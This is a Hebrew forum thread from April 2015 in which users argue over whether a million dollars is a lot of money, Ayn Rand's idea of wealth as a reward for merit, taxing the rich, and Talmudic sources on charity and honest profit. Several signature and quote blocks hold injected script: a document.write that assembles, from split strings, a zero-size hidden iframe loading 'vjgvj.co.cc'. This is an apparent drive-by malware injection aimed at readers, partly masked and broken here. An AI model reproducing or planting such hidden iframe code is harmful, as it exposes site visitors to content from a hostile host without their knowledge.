|
|
| נשלח ב-13/4/2015 14:14 |
 |
| |
אמשלום
לצערי קראתי רק את הודעותך האחרונה, ותרשי לי לחלוק "במציאות".
מיליון דולר זה לא הרבה כסף.
זה הרבה כסף למי שאין לו עכשו לחם או מים.
זה מעט כסף למי שצריך לחתן בת או אפילו בן (כלומר בציבור שאני גר בתוכו) וזה גם לא הרבה למי שהיה רוצה, נניח, לשבת וללמוד בלי לעבוד בהסתמך על הון שמפיק רווחים. זו שאלה שאיני יודע את התשובה עליה, אם מיליון דולר מספיקים לזה...
לעצם החיוב או החובה של העשיר לתת משלו לעניים, יש כאן גישות בין הפילוסופים בני זמננו. הלב בהחלט יוצר ציפיה (אצלי לפחות) שהעשיר לא ירשה לעצמו להנות מממונו כל עוד יש כאלו שאין להם אפילו מינימום. אבל האם הציפיה הזו צריכה להיות מתורגמת לגישה סוציאליסטית של לקחת בכוח (לפחות לפי החוק) מן העשירים ולתת לעניים?
נדמה לי שהתורה פוסעת בדרך בינים. כלומר, התורה מאשרת את זכותו הבלעדית של אדם על ממונו, והוא זה שיחליט אם לתת וכמה ולמי. אבל התורה גם מזכירה לנו לרחם על אחינו. חז"ל תירגמו את העקרון המוסרי הנעלה הזה לחובת תשלום מסויימת כגון לקופות צדקה קהילתיות.
איני רוצה להמשיך ולהציג עמדה כיון שלא קראתי את האשכול (אם כי אני מכיר כמדומה את גישה הבסיסית של אן ראנד - ומסוייג ממנה - ואפילו לא קראתי את טענותיך, אז סליחה. אני מאשים את קוצר הזמן...)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-13/4/2015 21:40 |
|
| |
[מיימוני,
הרשה לי לחלוק עליך - מיליון דולר זה הרבה מאוד גם למי שרוצה לחתן בת ואפילו עשר בנות (ב"ה!). גם מי שרוצה לשבת וללמוד כל היום, בלי לעבוד ולהרוויח למחייתו, היה יכול לחיות ברווחה גדולה עם מיליון דולר.
אל תבין אותי לא נכון - אין לי בעיה עם רכוש או כסף; אני שמחה ברכוש שאני יכולה לקרוא לו "בבעלותי" ובכסף שאני מרוויחה כמו גם בעצמאות (החברתית, האישית והפוליטית) שאלה מעניקים לי. למרות זאת, אני גם יודעת שחלק ניכר מכל אלה אינו באמת דרוש לי כדי לחיות, בעוד יש רבים מאוד (מאוד!) שאין להם אפילו לספק את הצרכים הבסיסיים שבאמת נדרשים להם. אין לי גם בעיה עם אנשים שיש להם כסף או רכוש רב ("מיליון דולר" כמשל בלבד). הבעיה שלי היא רק עם אנשים כאלה שמתלוננים על כך שאין להם מספיק, או שלא יהיה להם מספיק אם במקרה יתבקשו (או יידרשו) לתת למישהו שאין לו. מי שמרוויח (רק משל היפותטי) מילייון דולר בשנה וצריך (שוב, משל בלבד) לשלם 50% מס, עדיין יישאר עם חצי מיליון דולר, שהוא סכום שיכול לפרנס ברווח כמה וכמה אנשים - אז, עם כל הכבוד והאמפטיה, קשה לי לרחם עליו או להצדיק את קמצנותו.]
|
|
|
|
| נשלח ב-13/4/2015 22:00 |
|
| |
נכון אף אחד אינו צריך מיליון דולר כמשל. אבל לשיטתה של איין רנד, להוריח מיליון זה יותר מהערך הכספי. להרויח הרבה כסף, יש גם ערך רוחני , להרויח הרבה כסף , הוא הסימן להצלחה, הכסף הוא ביטוי הוקרה של החברה, לאדם כישרונ,י לאדם מתאמץ, כפי שבצבא חייל מקבל צל"ש מדליה וכד' ממפקדיו, כך האדם מקבל כסף לפועלו.
|
|
|
|
| נשלח ב-14/4/2015 10:07 |
|
| |
אמשלום
להיות עשיר זה מונח הטעון בירור.
אסביר איך אני חישבתי את הדברים.
אפשר להשתמש במיליון דולר, בזהירות. כמה כסף דרוש לאדם לחודש? מחלקים את המיליון ורואים כמה חודשים אפשר לחיות כך.
לא לזה התכוונתי. התכוונתי לכך שאדם משקיע את המיליון וחי על הרווחים. או שהוא משתמש במיליון כדי לחתן.
כיון שלא צמחת כנראה בערוגת הגן החרדי, אגלה את אזנך כי הורים חרדיים נאלצים לספק לבתם לפחות שני שלישים ממחיר של דירה. יש שמצליחים בלי (ויש מלחמה על זה) אבל הרבה נותנים אפילו יותר.
לכמה דירות יספיקו מיליון דולר?
לכן כתבתי מה שכתבתי.
בוודאי שמי שהכנסתו השנתית היא מיליון דולר מרויח יפה מאד. מסתבר שיש לו נכסים נוספים. אני התכוונתי למי שיש לו רק (או: "רק") מיליון דולר. זה מאד יפה, והלוואי על כולנו, אבל זה נתון אחד. נתונים חשובים נוספים הם שאר הנכסים שלו ומקורות ההכנסה שלו.
ועם כל זאת, כמובן מיליון זה סכום גדול ויפה...
לאחר שהארכתי אני מקצר.
אני מסכים שמי שמרויח, לפי נתוני היום, מיליון דולר לשנה, אכן הלב אומר שראוי להטיל עליו מיסוי שילך למען העניים שאין להם.
אולם זה שאדם יש לו לאכול ולשתות בהרווחה אינו אומר שאין עוד צרכים שמיליון לא יספיקו להם...
***
ירוחם
דבריך מזכירים מאד את התפיסה שאבי הסוציולוגיה ובר ראה בה את הכוח המניע של הכלכלה האמריקנית: בדיקת הצלחתו הכלכלית של אדם כראיה להיותו צדיק בזה ובבא בעיני הקלויניסטים שהקימו את אמריקה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-14/4/2015 11:15 |
|
| |
| מיימוני כתב: |  |
דבריך מזכירים מאד את התפיסה שאבי הסוציולוגיה ובר ראה בה את הכוח המניע של הכלכלה האמריקנית: בדיקת הצלחתו הכלכלית של אדם כראיה להיותו צדיק בזה ובבא בעיני הקלויניסטים שהקימו את אמריקה.< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בהזדמנות אני מאד ממליץ על Sacred Hunger (רעב קדוש) - זוכה פרס מאן בוקר (במשותף) ל1992 - של בארי אנסוורת', שזה נושאו.
תוקן על ידי בסדר_הבנו ב- 14/04/2015 11:15:39
|
|
|
|
| נשלח ב-14/4/2015 11:18 |
|
| |
הרב מימוני
ומה רעה בכך? הכלכלה האמריקאית היה לשם דבר בעולם- כל זמן שהרעיון הזה שלט בכיפה.
מותר האדם העובד קשה - לבין האדם שלא עובד-קשה- זה הכסף.
יש כמובן כשרונות- כפי שיש כשרון לציור למוסיקה לציור לחזנות וכד' הביטוי לכשרון גדול הוא הכסף.
כמובן שיש לאדם העשיר חובה מוסרית לתת מכספו למי שאין לו, אבל מוסרית אין לקחת ממנו בכח. כמובן אם הרויח את כספו ביושר.
|
|
|
|
| נשלח ב-14/4/2015 17:05 |
|
| |
ירוחמ
איך אפשר לא להסכים עם כל מילה שכתבת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-14/4/2015 17:22 |
|
| |
| מיימוני כתב: | | ירוחמ
איך אפשר לא להסכים עם כל מילה שכתבת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אכן אי אפשר לא להסכים, בעיקר מפני שזה כללי עד כדי חוסר משמעות. מגוון המשטרים הידועים לנו נחלקו בהגדרות "עשיר", "מי שאין לו", "כח", ובעיקר "הרוויח את כספו ביושר".
אין לי ספק, לדוגמא, שלך ולי אין אותן הגדרות ל"מי שאין לו", שבעיני לא כוללים את מי ש"אין לו" מתוך בחירה שלו.
|
|
|
|
| נשלח ב-14/4/2015 20:58 |
|
| |
בסדר
אתה צודק שזו אמירה כללית, ובכך כוחה.
ובוודאי שצריך לדון במאפיינים שמצטרפים יחד לפרדיקט (=תכונה) של "עשיר" לעומת "מי שאין לו" וכיו"ב.
אבל עם המשפט האחרון שלך איני מסכים. ראשית, דומה שאין כוונתך ל"מי שאין לו" אלא "למי שלא מגיע לו" או "כן מגיע לו". ושנית, מדוע אתה סבור שאני מצדד במתן תמיכה כספית, רשמית או פרטית, למי שמעדיף "עוני מבחירה"?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-14/4/2015 23:28 |
|
| |
[ירוחם,
אני מסכימה שכך זה אכן "לשיטתה של איין ראנד" (עד כמה שאני זוכרת מן הספר שלה שקראתי לפני יותר ממחצית חיי...). האם זה גם לשיטתך?
כאמור, אני מעריכה את ההון (כסף ורכוש) שיש לי (לא הרבה בכלל, אך בודאי יותר ממה שאני באמת זקוקה לו - כמו להרבה מן ה-99% בעולם המערבי). הוא מאפשר לי עצמאות ובחירה, וזה כשלעצמו סוג של כוח. למרות זאת, אני חושבת שחברה שמלמדת אותנו שיש "ערך רוחני" בהגדלת ההון היא חברה שפלה ובמובנים רבים גם אובדנית (ולצערי, כולנו - במידה זו או אחרת - חיים באחת כזו). אעז ואומר גם שאנשים אינדיבדואלים שזו האידיאולוגיה שלהם, הם אנשים שפלים (במובן הרוחני וכן, גם הערכי), ולא הייתי רוצה להיות חברה שלהם (וגם לא מועסקת שלהם).]
|
|
|
|
| נשלח ב-14/4/2015 23:33 |
|
| |
[שכחתי עוד נקודה חשובה -
אין שום קשר בין כמות הכסף שיש לאנשים וכמות העבודה - או המאמץ - שלהם. אלה שעובדים הכי קשה מרוויחים הכי פחות. אפילו אין קשר בין עבודות שהחברה מעריכה כחשובות יותר ובין כמות הכסף שיש לעוסקים בהם (חשוב על רופאות, אחיות, מורות, סופרות, מנהיגות קהילתיות ודתיות וכו' - כל אלה אינן שייכות ל"אחוז האחד"...). כך שגודל הארנק אינו "צל"ש" על כלום, מלבד מאשר על היכולת/מזל לעשות כסף...]
|
|
|
|
|
| נשלח ב-15/4/2015 11:56 |
|
| |
אםשלום
עם כל הכבוד שאני רוכש לך, את מדברת בסיסמאות: אדם העובד קשה מקבל גמול והערכה על עבודתו בצורת כסף ולכן לכסף יש ערך מעל ערכו הנקוב וכוח הקניה שלו. הכסף שמקבל המתאמץ, המשקיע והמסתכן הוא גם ביטוי להערכה עצמית להשקעותיו, ולו רק בכך שהוא יכול להרשות לעצמו דבר שהנרפה והעצל אינו יכול להרשות לעצמו.
רשימת בעלי המקצוע שציינת שאינם יכולים להרויח כסף יותר ממשכורתם היא טענה מבית מדרש מסוים. רופא, אחות, מורה וכדומה בהחלט יכולים להרויח יותר כסף. את המשכורת הגבוהה ביותר בשירות הציבורי מקבלים רופאים. אחות שעובדת יותר שעות מתוגמלת בהתאם כמו גם מורות שנותנות שיעורים במשרה נוספת ושיעורים פרטיים. רבנים ורבות העורכים ועורכות יותר טקסי נישואים, מעבירים הרצאות ומפרסמים מאמרים מתוגלמים ומתוגמלות בהתאם.
שני בחורי ישיבה נכנסו לרבי לקבל ברכה לקראת צאתם לחיי המעשה. הרבי בירך את שניהם בברכה והצלחה בכל מעשי ידיהם. במרוצת השנים אחד הפך לאיש עסקים עשיר מאוד והשני לחנוני בעל מכולת.
בא החנוני אל הרבי ושאל: רבי, היתוכן? למה ברכתך הצליחה אצל חברי יותר מאשר אצלי?
שאל אותו הרבי: אתה מצליח במכולת שלך?
- כן רבי .
- יש לך פרנסה בכבוד?
- כן רבי.
אמר לו הרבי: אזי ברכתי כן התקימה.
השיב לו החנווני: נכון רבי, אבל למה חברי הצליח יותר והפך למיליונר?
אמר לו הרבי: בני, הוא פנה לעסקים גדולים והצליח בהם, אבל אתה הפכת חנוני. כמה אתה חושב שחנוני יכול להרוויח?
|
|
|
|
|
| נשלח ב-15/4/2015 12:32 |
|
| |
ירוחם,
לא כדבריך אמר רבי מאיר באומרו: לעולם ילמד אדם את בנו אמנות נקיה וקלה, ויתפלל למי שהעושר והנכסים שלו, שאין אמנות שאין בה עניות ועשירות, שלא עניות מן האמנות ולא עשירות מן האמנות, אלא הכל לפי זכותו.
רבי חנניה היה מוכר דבש דבורים והיה לו דבש תמרים. פעם באו אליו סוחרים לקנות דבש ובטעות מכר להם דבש תמרים כדבש דבורים. כעבור זמן-מה באו אליו שנית. אמר להם: כדי לא אטעה אתכם דעו כי הדבש שמכרתי לכם היה דבש תמרים (אשר מחירו זול יותר מדבש דבורים), ורצה להחזיר להם את ההפרש במחיר. אמרו לו שדבש תמרים טוב יותר לעסקיהם מדבש דבורים ואחרי שהסכימו על מחירו אינם חפצים לקחת ההפרש. כדי לא להינות מההפרש שהרוויח בטעות, הפרישו רבי חנניה לתיקון וחיזוק בית המדרש של ציפורי.
ככל שאדם עשיר יותר, כן נסיונו גדול יותר. האם מפריש חומש מרווחיו למצוות כפי שמצוה התורה? האם משלם שכר הגון לשכיריו ולא מלין את שכרם? האם הרוויח את ממונו ביושר?
|
|
|
|
| נשלח ב-15/4/2015 13:43 |
|
| |
מ
עיין שם במשנה שציטטת ותגלה כי רבי מאיר חולק על רבי נהוראי- שמו השני של רבי מאיר -
לענינו איני נציג המוסר התלמודי. רבי היה עשיר מאד רבי טרפון היה עשיר מאד רבי עקיבא היה עשיר ביותר ועוד רבים רבים אחרים צדיקים יסודי עולם, אין כל בושה וחטא להיות עשיר, הדמגוגיה החדשה שהתפתחה, היא הבושה.
הגמרא אומרת גדול הנהנה מיגיע כפיו יותר מיר"ש, ובכדי לא לטעות ולחשוב כמו כמה - יגיע כפיו של השני- מביאה הגמרא גם את הפסוק, -יגיע כפיך כי תאכל אשרך וטוב לך.
העצלנים הבטלנים ממציאים מוסר חדש. שנוח להם.
|
|
|
|
| נשלח ב-15/4/2015 14:00 |
|
| |
ירוחם,
אם כבר רבי נחמיה, שנקרא גם רבי נהוראי, חלק על רבי מאיר. ובגרסת המשנה של הרמב"ם מכל החכמים מובאים רק דברי רבי יהודה: ילא ילמד אדם את בנו חמר ספר ספן חנוני ורועה מפני שאמנותן אמנות ליסטים.
אין כל בושה בלהיות עשיר כפי שאין כל חטא בלהיות עני, אולם יש גם חטא וגם בושה ברדיפת בצע, כפירושו ספורנו לפסוק אשרי האיש אשר לא הלך בעצת רשעים - המתעסקים כל ימיהם בקיבוץ ממון.
תוקן על ידי מם80 ב- 15/04/2015 14:01:42
|
|
|
|
|
